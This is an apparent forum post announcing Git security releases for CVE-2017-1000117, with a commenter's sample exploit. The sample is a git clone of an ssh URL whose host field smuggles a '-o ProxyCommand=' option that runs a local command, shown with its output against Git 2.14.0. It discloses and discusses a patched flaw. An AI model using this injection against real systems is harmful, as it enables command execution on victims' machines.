Git v2.14.1, v2.13.5, and others – security fix for CVE-2017-1000117
mail-archive.com
mail-archive.com
EDIT: Yeah, here's a sample exploit. Popping a shell is left as an exercise to the reader.
% git version
git version 2.14.0
% git clone 'ssh://-o ProxyCommand=touch/foo'
Cloning into 'foo'...
Pseudo-terminal will not be allocated because stdin is not a terminal.
touch: missing file operand
Try 'touch --help' for more information.
ssh_exchange_identification: Connection closed by remote host
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.Seriously, why are we still dealing with what amounts to a quoting issue in 2017?